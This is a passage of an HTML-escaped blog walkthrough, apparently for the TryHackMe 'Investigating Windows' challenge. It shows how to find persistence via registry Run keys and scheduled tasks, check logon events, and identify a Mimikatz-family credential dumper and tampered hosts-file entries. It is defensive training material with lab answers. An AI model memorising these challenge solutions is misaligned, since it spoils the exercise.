Events:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the “Actions” pane on the right, click “Filter Current Log”.&lt;/li&gt;&#xA;&lt;li&gt;In the “Event IDs” field, enter “4624&amp;quot; and click &amp;ldquo;OK&amp;rdquo;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d6350e6c62745017bb376b48343e9c80_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/d6350e6c62745017bb376b48343e9c80_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filtering the Security Log for Event ID 4624&lt;/p&gt;&#xA;&lt;p&gt;Now, the filtered log will display all successful logon events (Event ID 4624). Since the log is also capturing our &lt;code&gt;Administrator&lt;/code&gt; login activity, scroll past the events for the current date to the previously logged date, &lt;em&gt;1/29/2021,&lt;/em&gt; to find the user logon activity before our session.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1b657ac5f21c3f08df360e6e122b3e52_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;574px&#34; data-flex-grow=&#34;239&#34; height=&#34;334&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/1b657ac5f21c3f08df360e6e122b3e52_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the last user logon session&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e5eabda9923b68b5324c82f07c811244_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/e5eabda9923b68b5324c82f07c811244_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-when-did-john-log-onto-the-systemlast&#34;&gt;Question 3: When did John log onto the system last?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing to use our current filtering, we’ll use the “Find” function to locate the username &lt;code&gt;John&lt;/code&gt; within the logs and determine the last date this user logged in to the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a658768af3312a3df15906dbd4d138f7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;559px&#34; data-flex-grow=&#34;233&#34; height=&#34;343&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/a658768af3312a3df15906dbd4d138f7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying logon activity for the user John&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b6f00f2a17f182497386e03ea59ce6f4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1560px&#34; data-flex-grow=&#34;650&#34; height=&#34;123&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/b6f00f2a17f182497386e03ea59ce6f4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-ip-does-the-system-connect-to-when-it-firststarts&#34;&gt;Question 4: What IP does the system connect to when it first starts?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let’s pivot away from the Windows Event Log and start to look for common persistence methods used by threat actors. The key to answering &lt;strong&gt;Question 4&lt;/strong&gt; is finding the IP address that the system connects to after it &lt;strong&gt;first starts.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, we’ll check the Windows Registry Run Keys / Startup Folder (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK ID T1547.001&lt;/a&gt;). These methods allow a binary to execute on user login, creating persistence for the adversary.&lt;/p&gt;&#xA;&lt;p&gt;According to MITRE ATT&amp;amp;CK, the relevant run keys can be found in the following locations:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;First, launch the &lt;strong&gt;Registry Editor&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7a0f92822f7d11a0cfbeea88385d7094_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;140px&#34; data-flex-grow=&#34;58&#34; height=&#34;513&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/7a0f92822f7d11a0cfbeea88385d7094_MD5.png&#34; width=&#34;300&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, navigate to the keys referenced by MITRE ATT&amp;amp;CK. While examining &lt;code&gt;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;, you may notice the string &lt;code&gt;UpdateSvc&lt;/code&gt;. This string indicates a suspicious command connecting to an additional IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;205a75fde6b6d8f574d451d8c44b85f7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/205a75fde6b6d8f574d451d8c44b85f7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying a suspicious run key in the registry&lt;/p&gt;&#xA;&lt;p&gt;By analyzing these often-abused registry keys, we’ve found a method of persistence used by the threat actor and an IP address, or indicator of compromise (IOC).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1c9e367fea030450d5d210213f62c32c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/1c9e367fea030450d5d210213f62c32c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-two-accounts-had-administrative-privileges-other-than-the-administrator-user&#34;&gt;Question 5: What two accounts had administrative privileges (other than the Administrator user)?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we’ll need to determine which other accounts have local administrative permission on the system. To find out, we’ll query the local administrators group with &lt;strong&gt;PowerShell&lt;/strong&gt; by executing the command below.&lt;/p&gt;&#xA;&lt;p&gt;net localgroup administrators&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6d6635a3d4e5f38a5be76bfef4a61250_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;680px&#34; data-flex-grow=&#34;283&#34; height=&#34;282&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/6d6635a3d4e5f38a5be76bfef4a61250_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After running the command, we’ll discover that three accounts are members of this group including the &lt;code&gt;Administrator&lt;/code&gt; account that we’re using.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3c037ca6e1768933bff4d8c167ee7a98_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/3c037ca6e1768933bff4d8c167ee7a98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-78&#34;&gt;Question 6, 7, 8:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;whats-the-name-of-the-scheduled-task-that-is-malicious&#34;&gt;Whats the name of the scheduled task that is malicious.&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-file-was-the-task-trying-to-rundaily&#34;&gt;What file was the task trying to run daily?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-port-did-this-file-listen-locallyfor&#34;&gt;What port did this file listen locally for?&#xA;&lt;/h4&gt;&lt;p&gt;The next step in our investigation is to search for a malicious &lt;strong&gt;scheduled task.&lt;/strong&gt; By abusing the Windows Task Scheduler, a threat actor could create persistence by setting a malicious file to run at a specific time (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1053.005&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, we’ll search for the malicious task using the command line tool &lt;code&gt;schtasks&lt;/code&gt;, but the GUI Task Scheduler will work just as well if you prefer to explore it.&lt;/p&gt;&#xA;&lt;p&gt;From PowerShell, use the &lt;code&gt;[schtasks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks)&lt;/code&gt; command to query the task scheduler library. We’ll see a couple of suspicious entries listed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e9696331f10a91a11f911874c1139b70_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;681px&#34; data-flex-grow=&#34;283&#34; height=&#34;205&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/e9696331f10a91a11f911874c1139b70_MD5.png&#34; width=&#34;582&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using schtasks to list tasks&lt;/p&gt;&#xA;&lt;p&gt;To get more information about each task, use the following syntax:&lt;/p&gt;&#xA;&lt;p&gt;schtasks /query /FO LIST /V /TN &amp;ldquo;&lt;TASK NAME&gt;&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Several tasks may look suspicious. For example, check the &lt;code&gt;Clean file system&lt;/code&gt; task. Notice that its action is launch a PowerShell (.ps1) script, scheduled to run daily.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b91953bdac1ce688e5d0118e9d3fc9a5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;166&#34; height=&#34;426&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/b91953bdac1ce688e5d0118e9d3fc9a5_MD5.png&#34; width=&#34;711&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using schtasks to query a task&lt;/p&gt;&#xA;&lt;p&gt;Since we’re searching for a persistence technique and this specific task launches a file with a listening port, it matches the criteria of &lt;strong&gt;Questions 6,7, &amp;amp; 8.&lt;/strong&gt; This is the malicious task we are searching for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6aabdbe7923ca023ffe77e50fca70ea1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;685px&#34; data-flex-grow=&#34;285&#34; height=&#34;280&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/6aabdbe7923ca023ffe77e50fca70ea1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-when-did-jenny-lastlogon&#34;&gt;Question 9: When did Jenny last logon?&#xA;&lt;/h3&gt;&lt;p&gt;Now let’s return to gathering information about the other users on the system. We’ll pivot back to our PowerShell console to do this. Instead of querying a group like we did back in &lt;strong&gt;Question 5&lt;/strong&gt;, we’ll query the &lt;code&gt;Jenny&lt;/code&gt; user account directly to find the &lt;code&gt;Last logon&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;To query the last logon time for &lt;code&gt;Jenny&lt;/code&gt;, use the following command:&lt;/p&gt;&#xA;&lt;p&gt;net user jenny&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4838182178257e6fbdc4dd7c3883a13d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;324px&#34; data-flex-grow=&#34;135&#34; height=&#34;390&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/4838182178257e6fbdc4dd7c3883a13d_MD5.png&#34; width=&#34;528&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the “Last logon” for the user Jenny&lt;/p&gt;&#xA;&lt;p&gt;By executing this command, we’ve figured out when &lt;code&gt;Jenny&lt;/code&gt; last logged on to the system — nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;68801179c4e2d9b990639c9a5ca346f2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/68801179c4e2d9b990639c9a5ca346f2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-at-what-date-did-the-compromise-takeplace&#34;&gt;Question 10: At what date did the compromise take place?&#xA;&lt;/h3&gt;&lt;p&gt;Based on the scheduled task trigger date, we can start to create a rough timeline of when the attack occurred. To take this a step further, let’s closely examine the directory storing the &lt;code&gt;.ps1&lt;/code&gt; file for the malicious task we found in &lt;strong&gt;Question 7&lt;/strong&gt;: &lt;code&gt;C:\TMP&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside this directory, we’ll see a number of suspicious tools. All these files were staged in this folder on a specific date, which helps us pinpoint the date of compromise.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5011b9c7cc52ce7a79d48dc22a9fe43d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;452px&#34; data-flex-grow=&#34;188&#34; height=&#34;424&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/5011b9c7cc52ce7a79d48dc22a9fe43d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This information is crucial for understanding the timeline of the attack and properly scoping our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1ffc861a04e04902d5b03dcc7d9a2101_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1352px&#34; data-flex-grow=&#34;563&#34; height=&#34;142&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/1ffc861a04e04902d5b03dcc7d9a2101_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-during-the-compromise-at-what-time-did-windows-first-assign-special-privileges-to-a-newlogon&#34;&gt;Question 11: During the compromise, at what time did Windows first assign special privileges to a new logon?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have scoped the date of the attack, we can start to narrow down our searches. To uncover the answer to &lt;strong&gt;Question 11&lt;/strong&gt;, let’s return to the Windows Event Viewer searching for &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4672&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 4672&lt;/strong&gt;&lt;/a&gt;, or “special privileges assigned to a new logon.”&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;strong&gt;Microsoft Learn&lt;/strong&gt;, this event “&lt;em&gt;generates for new account logons if any of the following sensitive privileges are assigned to the new logon session.&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To find these events, perform the following steps in the Event Viewer:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select “Windows Logs” &amp;gt; “Security”.&lt;/li&gt;&#xA;&lt;li&gt;Press “Filter Current Log…” in the right column.&lt;/li&gt;&#xA;&lt;li&gt;Click the drop-down menu for “Logged” and select “Custom Range”.&lt;/li&gt;&#xA;&lt;li&gt;In the “From” and “To” boxes, select “Events On” and select the date of the attack. Use the time ranges from &lt;em&gt;12:00:00 AM&lt;/em&gt; to &lt;em&gt;11:59:00 PM&lt;/em&gt; to display all events for the date, then press OK.&lt;/li&gt;&#xA;&lt;li&gt;Type “4672&amp;quot; in the Event ID field, then press OK.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;49fb252a5931f96b8f0e9578de7d7d5a_MD5.gif&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;248px&#34; data-flex-grow=&#34;103&#34; height=&#34;1847&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/49fb252a5931f96b8f0e9578de7d7d5a_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/49fb252a5931f96b8f0e9578de7d7d5a_MD5_hu_c42ff3e4dfbe383d.gif 800w, https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/49fb252a5931f96b8f0e9578de7d7d5a_MD5_hu_46ddf46edd92ce15.gif 1600w, https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/49fb252a5931f96b8f0e9578de7d7d5a_MD5.gif 1910w&#34; width=&#34;1910&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filtering the Event Viewer for Event ID 4672 on the date of the attack&lt;/p&gt;&#xA;&lt;p&gt;Based on the question, your immediate instinct might be to look at the first event in the list, but &lt;em&gt;spoiler&lt;/em&gt; that is incorrect. Let’s take a quick look at the question hint to narrow this down a bit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0b8428ba244415136a55ba1294c65a39_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;560px&#34; data-flex-grow=&#34;233&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/0b8428ba244415136a55ba1294c65a39_MD5.png&#34; width=&#34;257&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Armed with the clue, we can now locate the correct event and corresponding time stamp, determining when Windows first assigned special privileges to a new logon during the compromise.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0024f2c56b1a9fe191a3829b79dba2c2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;387px&#34; data-flex-grow=&#34;161&#34; height=&#34;496&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/0024f2c56b1a9fe191a3829b79dba2c2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b92b2d9ae49adf45ea3e98b361f0ad86_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/b92b2d9ae49adf45ea3e98b361f0ad86_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-what-tool-was-used-to-get-windows-passwords&#34;&gt;Question 12: What tool was used to get Windows passwords?&#xA;&lt;/h3&gt;&lt;p&gt;You may have noticed throughout our investigation that a command prompt window keeps popping up randomly, right? You may have also seen another suspicious task in Task Scheduler or an alarming executable in the staging folder &lt;code&gt;C:\TMP&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If not, let’s take a closer look at the window where we’ll observe a familiar file path: &lt;code&gt;C:\TMP\mim.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fb81f2c75d443ed881a555e252668d7f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;454px&#34; data-flex-grow=&#34;189&#34; height=&#34;422&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/fb81f2c75d443ed881a555e252668d7f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To determine the nature of this file, we can collect the file hash and check it against external threat services. Use the following PowerShell command to gather the file hash:&lt;/p&gt;&#xA;&lt;p&gt;get-filehash C:\TMP\mim.exe&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0ada22a3ad60ad9587e2ab612020d40b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1156px&#34; data-flex-grow=&#34;481&#34; height=&#34;166&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/0ada22a3ad60ad9587e2ab612020d40b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, we can take this hash and submit it to a service like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to evaluate the sample.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;46faccdb94376afd05d974f9b5dc103c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;845px&#34; data-flex-grow=&#34;352&#34; height=&#34;227&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/46faccdb94376afd05d974f9b5dc103c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/f8f1c210a8c863efc0f6b8ac3553030a14a702ce8cf573cb5e9cd58f70c7c622&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After confirming that the file is malicious, check the “Family labels” to determine what tool the sample is. If you’d prefer a simpler approach, another option is to open the tool&amp;rsquo;s output text file, &lt;code&gt;mim-out&lt;/code&gt; from the directory. This will reveal which tool created the output and allows us to see what password hashes were exposed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c10fa11ba77d4065951f728b51062621_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;721px&#34; data-flex-grow=&#34;300&#34; height=&#34;266&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/c10fa11ba77d4065951f728b51062621_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;By following these steps, we’ve identified the tool used to dump the Windows credentials and gathered more information about the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6da9007aeeaadb181b71f154cc6a5a55_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/6da9007aeeaadb181b71f154cc6a5a55_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-13-what-was-the-attackers-external-control-and-command-serversip&#34;&gt;Question 13: What was the attackers external control and command servers IP?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we understand what method the attacker used for &lt;strong&gt;credential access,&lt;/strong&gt; we’ll need to learn more about their infrastructure and discover the IP of their command and control server. I’ll admit that I spent far too much time digging through the scripts, event logs, and other artifacts on the system, so I’ll give you the short version of what worked.&lt;/p&gt;&#xA;&lt;p&gt;Since the victim device does not have a live internet connection, we’ll have to rely on artifacts on the system to piece together this information. One place we can check is the Windows &lt;code&gt;hosts&lt;/code&gt; file, which performs manual IP address to hostname mappings, even overriding a DNS server. The file can be located at:&lt;/p&gt;&#xA;&lt;p&gt;C:\Windows\System32\drivers\etc\hosts&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9bdaf95863d3a1d36a8afc08e9850a51_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;267px&#34; data-flex-grow=&#34;111&#34; height=&#34;718&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-investigating-windows-challenge-walkthrough/9bdaf95863d3a1d36a8afc08e9850a51_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After examining the &lt;code&gt;hosts&lt;/code&gt; file, we notice some strange entries, indicating that the attacker attempted to prevent the victim’s device from navigating to VirusTotal (whoops!), updating Sophos anti-malware products, and reaching Microsoft Update. Something sticks out here though. Most of these entries are for the local loopback IP address or a private IP address, but two entries are mapped to a public IP address. This anomaly is enough 